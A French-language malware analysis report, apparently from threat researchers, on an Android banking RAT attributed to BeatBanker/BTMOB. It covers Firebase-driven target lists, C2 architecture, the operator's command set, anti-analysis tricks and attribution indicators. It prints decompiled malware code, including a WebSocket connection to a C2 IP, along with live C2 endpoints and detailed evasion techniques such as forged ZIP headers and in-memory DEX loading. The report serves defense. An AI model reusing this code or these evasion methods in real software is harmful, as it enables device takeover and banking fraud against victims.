Un second chemin, parallèle, existe via Firebase : le gestionnaire de démarrage du service (hhmpmwbx.java) lit un champ TRK dans le payload de tâche Firebase, décode chaque entrée en Base64 et alimente les mêmes structures de cibles. Deux canaux de livraison indépendants : interactif (WebSocket) et diffusion (FCM, qui peut atteindre l'ensemble du parc d'un seul coup) :

// APK: connector.predictor.messenger — split DEX
// JADX source: sources/connector/predictor/messenger/hhmpmwbx.java
//
// On service start, the connector checks the 'TRK' value from its shared state.
// If it is non-empty and does not begin with the sentinel 'empty|', it splits
// the value on '|', Base64-decodes each entry as UTF-8, then splits each
// decoded entry on the field separator '[<s>]' into four named fields:
// ntrk, ltrk, itrk, ityp. This is the same structure as the live C2 update above.

if (!oxjugojsnjozr.efexbpctvpjlwqee.contains(/* "|" */)
        || oxjugojsnjozr.efexbpctvpjlwqee.startsWith(/* "empty|" */)) {
    r00.f(getApplicationContext(), re.e0, false);
    return;
}
r00.f(getApplicationContext(), re.e0, true);
for (String str2 : oxjugojsnjozr.efexbpctvpjlwqee.split(/* "|" */)) {
    String str3 = new String(Base64.decode(str2, 0), /* "UTF-8" */);
    if (str3.length() > 0 && str3.contains(/* "[<s>]" */)) {
        String[] strArrSplit = str3.split(/* "[<s>]" */);
        String str4 = strArrSplit[0]; // ntrk
        String str5 = strArrSplit[1]; // ltrk
        String str6 = strArrSplit[2]; // itrk (package name)
        String str7 = strArrSplit[3]; // ityp (activation mode)
        if (str7.equals(/* "G" */)) {
            posvvhbqnqa.x.add(str6.toLowerCase());
        }
        s.K(str4, str5);
        s.H(str4, str6);
        s.I(str4);
        s.J(str4, str7);
    }
}

La capacité à cibler n'importe quelle banque est intégrée au malware ; la liste des banques actuellement ciblées réside sur le serveur C2. Des éléments indépendants, issus d'une vidéo de preuve de concept publiquement disponible de l'interface C2 côté opérateur, corroborent la présence active de noms de package bancaires dans les listes de cibles de l'opérateur dans la nature.

Capture d'écran et diffusion de phishing

Au-delà de l'interaction pilotée par l'accessibilité, le connecteur met en œuvre une capture d'écran continue via l'API MediaProjection d'Android. VirtualDisplay, ImageReader et un transport WebSocket forment un pipeline de streaming en direct vers l'opérateur.

La capture d'écran est indépendante de l'accessibilité : API Android différente, permission différente (FOREGROUND_SERVICE_MEDIA_PROJECTION), boîte de dialogue de consentement différente, que le kit de leurres est spécifiquement conçu pour obtenir. Un opérateur disposant à la fois de l'accessibilité et de la capture d'écran bénéficie d'une visibilité redondante : si un flux se dégrade, l'autre continue.

Diffusion de phishing à l'activation d'une cible. Lorsqu'un package ciblé passe au premier plan et que le mode G s'active, le connecteur peut diffuser du contenu de phishing par trois mécanismes :

  • Une WebView plein écran chargée depuis le kit de leurres HTML local (activité cofsbfpmyxowwuea).
  • Une Activity factice de verrouillage ou de saisie d'identifiants (activité dhsesufepsplsmqcghx) superposée à l'application légitime.
  • Une manipulation directe, pilotée par l'accessibilité, de l'interface même de l'application légitime (remplissage automatique des champs, soumission de formulaires, autorisation de transactions), sans overlay (via le service d'accessibilité posvvhbqnqa).

Le troisième mécanisme est le défi de la détection : aucune empreinte de fenêtre d'overlay que les défenses sur l'appareil pourraient repérer, puisqu'il n'y a pas d'overlay. Le malware utilise l'application bancaire réelle de la victime pour le compte de l'opérateur, au moyen de la session authentifiée de la victime. Du point de vue du backend de la banque, chaque action provient de l'appareil et de la session de l'utilisateur légitime, parce que c'est bien le cas.

Faux écran de capture d'identifiants ou de verrouillage par code PIN : l'overlay de phishing que le connecteur présente après l'activation du ciblage par accessibilité sur une application surveillée.

Figure 5 : faux écran de capture d'identifiants ou de verrouillage par code PIN : l'overlay de phishing que le connecteur présente après l'activation du ciblage par accessibilité sur une application surveillée.

Architecture de communication C2

Le connecteur maintient deux canaux parallèles vers l'infrastructure de l'opérateur.

Canal principal : WebSocket persistant.

// APK: connector.predictor.messenger — split DEX
// JADX source: sources/filterpredictor/loggermuxer/daemonallocatorx/daemonprober/gz.java (L291)
//
// The connector instantiates an OkHttpClient and opens a persistent WebSocket
// to the URL returned by re.c(). The WebSocket listener (C0054a) handles
// incoming operator commands in real time.

public void run() {
    OkHttpClient unused = gz.a = new OkHttpClient();
    gz.f = gz.a.newWebSocket(new Request.Builder().url(re.c()).build(), new C0054a());
}

Le point de terminaison C2 est configurable à l'exécution. re.c() n'est pas une constante. La méthode (re.java L201–216) lit un champ configurable à l'exécution re.c, initialisé à vide, effectue un test de joignabilité sur les valeurs configurées, et ne se rabat sur une chaîne obfusquée codée en dur, décodée en ws://195.160.221.203:8080/, que si aucune valeur configurée n'est joignable. L'adresse IP codée en dur est le repli ; un opérateur peut rediriger l'emplacement principal par une mise à jour de configuration, sans pousser de nouvel APK. Bloquer 195.160.221.203 coupe le repli, mais n'empêche pas la redirection vers une nouvelle infrastructure arbitraire.

Canal secondaire : rapports et tâches via HTTP.

Canal Point de terminaison Rôle
C2 WebSocket principal (repli) ws://195.160.221.203:8080/ Contrôle opérateur bidirectionnel en temps réel
Rapport d'erreurs http://45.149.114.40/yaarsa/private/log_error.php Télémétrie de plantages/erreurs côté malware
Tâches / configuration http://45.149.114.40/yaarsa/private/yarsap_80541.php Récupération de tâches planifiées
Redirection / reconfiguration https://famelack.com/ Point de terminaison de redirection contrôlé par l'opérateur

Le jeu complet de commandes de l'opérateur. Les gestionnaires du répartiteur récupéré montrent un RAT Android généraliste, et non un outil étroit d'overlay bancaire :

Commande Capacité
screen / scread Capture et diffusion d'écran en direct
upload Exfiltration de fichiers vers le C2
bot Automatisation pilotée par l'accessibilité (toucher, balayer, saisir)
brows Contrôle des sessions de navigateur (Chrome, Firefox, Samsung Browser, Brave, Opera, Edge, DuckDuckGo)
clip Lecture/écriture du presse-papiers
file / srh Recherche de fichiers par catégorie, copie, déplacement
loc Localisation de l'appareil
mic Accès au microphone
sms Lecture et envoi de SMS
net / trm Shell réseau / exécution à distance de type telnet
miner Contrôle du démarrage/arrêt du mineur
lock Verrouillage de l'appareil / écran de blocage
red Redirection / reconfiguration
DDS Contrôleur du moteur de DoS/flooding
calf Renvoi d'appels
ject / lject Utilitaires d'injection de code
update Mise à jour automatique du payload
clone Clonage / réplication de l'application
optns Mise à jour de la configuration à l'exécution
add Inventaire de l'appareil / instantané de télémétrie
spng Instantané de l'état du spyware (tampon de keylogger, URL actives, flux de notifications, état de la surveillance)
blker Contrôle du blocage (machine à états de blocage des SMS / appels)
wrk Bus de paquets interne des workers d'arrière-plan
chat Lance l'activité de chat sur l'appareil
fetch Énumère les numéros de téléphone des SIM actives ou télécharge des fichiers arbitraires
bc Pilote les flux d'alertes / notifications visibles par l'utilisateur
tols Actions utilitaires générales : affichage de toast, ouverture d'URL, synthèse vocale, contrôle de la torche, changement du volume

Capacité annexe de contournement de la détection : liste noire d'hôtes ads.txt. Le payload embarque un fichier assets/ads.txt encodé en XOR qui se décode en une liste d'environ 75 873 noms d'hôtes publicitaires et d'analytique, utilisée par l'activité cofsbfpmyxowwuea (l'hôte WebView des leurres) pour filtrer les requêtes réseau publicitaires et d'analytique du contenu rendu dans la WebView. Les pages de leurre s'affichent proprement, sans le bruit de tiers qui pourrait créer des signaux réseau secondaires.

L'étape 4 est le moment où l'impact métier se concrétise. La boîte à outils de fraude est complète : interception des OTP, manipulation de transactions pilotée par l'accessibilité, observation de l'écran en direct, diffusion d'overlays de phishing et blocage des appels/SMS pendant la fraude (blker). La détection exige une visibilité sur le terminal, pas une inspection du réseau : bloquer l'adresse IP de repli codée en dur ne coupe pas un C2 principal reconfigurable à l'exécution.

Techniques d'anti-analyse

L'échantillon est conçu pour résister à l'analyse à chaque couche que l'analyste aborde naturellement en premier. Sept techniques ont été identifiées dans l'échantillon. Prises une à une, elles sont modestes ; ensemble, elles constituent une posture de défense en profondeur qui augmente sensiblement le coût de l'analyse.

Métadonnées ZIP falsifiées

L'APK externe n'est pas une archive ZIP valide au sens strict de la spécification. resources.arsc et AndroidManifest.xml ont tous deux leurs en-têtes de fichier locaux marqués comme chiffrés, utilisent des méthodes de compression non définies (respectivement 0x598F et 0x8DCF, aucune n'étant une méthode ZIP standard) et déclarent une taille compressée de zéro, alors que les données réelles de chaque entrée suivent l'en-tête sous forme d'octets bruts.

Les outils Android standard sont suffisamment stricts sur la conformité ZIP pour que ces entrées provoquent des échecs d'analyse ou des rapports structurels erronés : apktool et aapt refusent tous deux de traiter correctement l'archive. Une inspection manuelle du répertoire central du ZIP et une réécriture des en-têtes mal formés sont nécessaires avant que l'APK puisse être traité par les outils d'analyse statique habituels. Le chargeur d'exécution d'Android lui-même est assez permissif pour accepter l'archive et installer l'application normalement.

Architecture de bootstrap natif

Les méthodes critiques du cycle de vie de la sous-classe Application injectée dans l'APK externe (attachBaseContext et onCreate) sont déclarées natives et entièrement implémentées dans une bibliothèque partagée ARM (libmetaspermousdevitrifiednoiseful.so). Le même schéma est réutilisé dans la sous-classe Application c6xmV4.java de l'auxiliaire de l'étape 3, adossée à liblixhokfsmav.so. JADX et tout autre décompilateur de la couche Java auquel on présente ces classes ne voit que des signatures de méthodes vides : aucun bytecode, aucune logique à analyser.

Chiffrement des payloads par étapes

Le véritable payload de chaque étape est stocké dans le répertoire assets/ de l'étape précédente sous la forme d'un blob chiffré à forte entropie, avec des noms de fichiers choisis pour ressembler à des identifiants d'assets opaques plutôt qu'à des types de fichiers reconnaissables. Deux chiffrements différents sont utilisés : un XOR répété pour les DEX de bootstrap, et AES/CBC/PKCS5Padding avec des clés de 128 bits dérivées du basename de l'asset par troncature SHA-1 pour les APK et archives ZIP en aval.

Chargement de DEX en mémoire

Les DEX de payloads déchiffrés ne sont jamais écrits dans les chemins du disque qu'un scanner surveillerait. À la place, le code de bootstrap modifie le class-loader : il manipule par réflexion le tableau dexElements du class-loader parent sur les anciens niveaux d'API Android, ou invoque directement makeInMemoryDexElements à partir de l'API 29. Les payloads préparés s'exécutent comme de véritables applications Android, sans apparaître comme des APK installés ni comme des fichiers DEX sur disque dans un chemin de stockage standard.

Obfuscation des chaînes à plusieurs niveaux

Deux enveloppes distinctes d'obfuscation des chaînes sont utilisées en parallèle :

  • rf0.a() : chiffrement simple par XOR répété. Utilisé pour les chaînes en grand nombre, dont le déchiffrement doit être peu coûteux à l'exécution.
  • s00.a() : AES/CBC/PKCS5Padding avec une clé de 128 bits dérivée par PBKDF2WithHmacSHA1 avec 65 536 itérations. Réservé aux chaînes sensibles sur le plan opérationnel : URL, noms de commandes, motifs de packages ciblés.

Cette hiérarchisation traduit une défense réfléchie : l'auteur réserve le coûteux AES-PBKDF2 aux chaînes les plus importantes, et traite les autres avec un XOR peu coûteux.

Détection d'émulateur

La classe Activity principale czjjzmkujkl effectue une détection d'émulateur à la ligne 106 en consultant trois méthodes auxiliaires de p0.java (p0.f0(), p0.m0() et p0.o0()), dont chacune compare Build.BRAND à une chaîne de marque obfusquée afin d'identifier les empreintes d'émulateurs courants. Le comportement en cas de détection n'est ni un plantage brutal, ni une sortie immédiate. À la place, le résultat de la détection sert à choisir entre deux blobs de configuration ; lorsqu'un émulateur est détecté, l'échantillon poursuit avec le blob alternatif plutôt qu'avec le blob normal.

Observations de clôture

Deux aspects de la conception d'anti-analyse de cet échantillon sont assez spécifiques pour mériter d'être soulignés.

La falsification du ZIP est chirurgicale. Seules deux entrées de l'APK externe, resources.arsc et AndroidManifest.xml, portent des métadonnées falsifiées (méthodes 0x598F et 0x8DCF). Toutes les autres entrées sont valides. Ce schéma chirurgical limité à deux fichiers est suffisamment distinctif pour servir d'indicateur de famille parmi les échantillons BeatBanker / BTMOB.

La dérivation de la clé AES est accessible à l'analyste. Le DexLoader de l'étape 3 dérive sa clé de 128 bits en calculant SHA-1(basename_of_asset_path)[:16]. Comme la clé est dérivée du nom de fichier et non d'un secret contenu dans la bibliothèque native, tout analyste qui obtient l'asset chiffré peut en dériver la clé sans faire de rétro-ingénierie du code natif. Le chiffrement joue ici le rôle de friction anti-scanner, et non de véritable barrière pour une analyse déterminée.

Attribution : BeatBanker / BTMOB

Contexte sur le cluster

BeatBanker et BTMOB sont des familles de malwares Android distinctes mais apparentées, documentées dans plusieurs sources de recherche sur les menaces indépendantes. BeatBanker, documenté par Securelist de Kaspersky et résumé par BleepingComputer, est une plateforme Android de banker/mineur à étapes, diffusée via des applications utilitaires trojanisées. BTMOB est une famille de RAT, documentée indépendamment par Cyble comme une évolution de SpySolr, que les échantillons récents de BeatBanker déploient à la place d'un module bancaire antérieur.

Sources publiques : - Securelist (Kaspersky): BeatBanker miner and banker — https://securelist.com/beatbanker-miner-and-banker/119121/ - BleepingComputer: New BeatBanker Android malware poses as Starlink app to hijack devices — https://www.bleepingcomputer.com/news/security/new-beatbanker-android-malware-poses-as-starlink-app-to-hijack-devices/ - Cyble: BTMOB RAT: Newly discovered Android malware — https://cyble.com/blog/btmob-rat-newly-discovered-android-malware/

Les caractéristiques distinctives du cluster BeatBanker comprennent la livraison d'APK par étapes via des applications utilitaires trojanisées, des chaînes de bootstrap en code natif, une signalisation de commande et de réveil basée sur Firebase, l'abus du service d'accessibilité sur les payloads en aval et le déploiement parallèle d'un cryptomineur comme canal de monétisation secondaire.

Indicateurs d'infrastructure

Indicateur Lien avec BeatBanker / BTMOB
accessor.fud2026.com Cité individuellement dans les rapports publics de Securelist
accessor.fud2026.org Non cité individuellement dans les rapports publics : récupéré uniquement dans cet échantillon (même famille de domaines que le .com rapporté)
pool.fud2026.com Cité individuellement dans les rapports publics de Securelist
pool.fud2026.com:8443 Même famille de domaines que le .com rapporté
pool-proxy.fud2026.com:8443 Cité individuellement dans les rapports publics de Securelist
aptabase.khwdji319.xyz:8443 Apparaît dans le cluster de télémétrie BeatBanker rapporté publiquement

La famille de domaines fud2026.* est le plus solide point d'ancrage unique de l'attribution : elle apparaît à plusieurs endroits de cet échantillon (téléchargeur, pool, proxy du pool) et constitue un indicateur nommé dans les rapports publics sur le cluster BeatBanker.

Cohérence comportementale

Les schémas architecturaux et opérationnels de l'échantillon s'alignent sur les caractéristiques publiquement documentées de BeatBanker / BTMOB dans toutes les dimensions majeures :

  • Livraison d'APK par étapes via une application utilitaire trojanisée (étape 1, LumoLight).
  • Bootstrap en code natif interceptant attachBaseContext et onCreate sur plusieurs étapes (étapes 1 et 3).
  • Firebase Cloud Messaging comme canal de réveil et d'attribution de tâches (étape 2).
  • Faux flux de leurre de configuration, de VPN et d'activation de l'accessibilité comme principal moyen d'obtenir une escalade de privilèges (étape 4).
  • Déploiement parallèle d'un cryptomineur comme canal de monétisation secondaire (étape 3).

Chacun de ces éléments est individuellement documenté dans les rapports publics sur le cluster BeatBanker. La présence des cinq dans le même échantillon, dans la même séquence et avec la même relation architecturale, est en soi un indicateur d'appartenance à la famille, indépendamment du recoupement d'infrastructure.

Conclusion

TV_V_23.apk n'est pas une application autonome : c'est un composant d'une opération soutenue, conçue de façon professionnelle par un acteur malveillant, bâtie pour survivre durablement sur les appareils infectés.

Le schéma architectural est l'identifiant. Les noms de packages, les clés, les points de terminaison C2 et le HTML des leurres peuvent tous être renouvelés sans réécrire la plateforme. Ce qui se renouvelle difficilement, c'est l'architecture : couche externe d'utilitaire trojanisé, bootstrap natif avec payloads chiffrés par étapes, réveil basé sur Firebase, opérateur en APK fractionné avec ciblage piloté par l'accessibilité, monétisation parallèle par mineur, obfuscation des chaînes à plusieurs niveaux, C2 configurable à l'exécution. L'ingénierie de détection doit cibler l'architecture, pas les artefacts.

La surface de menace est comportementale, pas technique. Aucune vulnérabilité n'a été exploitée. Chaque capacité repose sur des permissions que la victime a accordées sur un appareil non modifié. Les correctifs et le durcissement de l'OS ne sont pas les contre-mesures pertinentes ; le sont en revanche la détection comportementale de l'usage abusif de l'accessibilité, l'attestation d'intégrité de l'appareil à la connexion à l'application bancaire, la détection d'anomalies sur les schémas d'interaction lors des transactions, et une sensibilisation des clients calibrée sur le mode opératoire de cette famille.

La menace reviendra. BeatBanker / BTMOB présente une continuité d'un échantillon et d'une génération d'infrastructure à l'autre. L'absence de ciblage codé en dur est le mécanisme par lequel les opérateurs changent de cible, quel que soit l'établissement et à tout moment. Les clients touchés dans l'incident signalé ne seront probablement pas les derniers. Traiter cette réponse comme une remédiation ponctuelle plutôt que comme le premier tour d'un engagement durable serait une erreur de planification.

Les forces du malware sont structurelles ; celles du défenseur doivent l'être aussi. Les défenses ponctuelles verront leur valeur diminuer à mesure que la campagne gagne en maturité.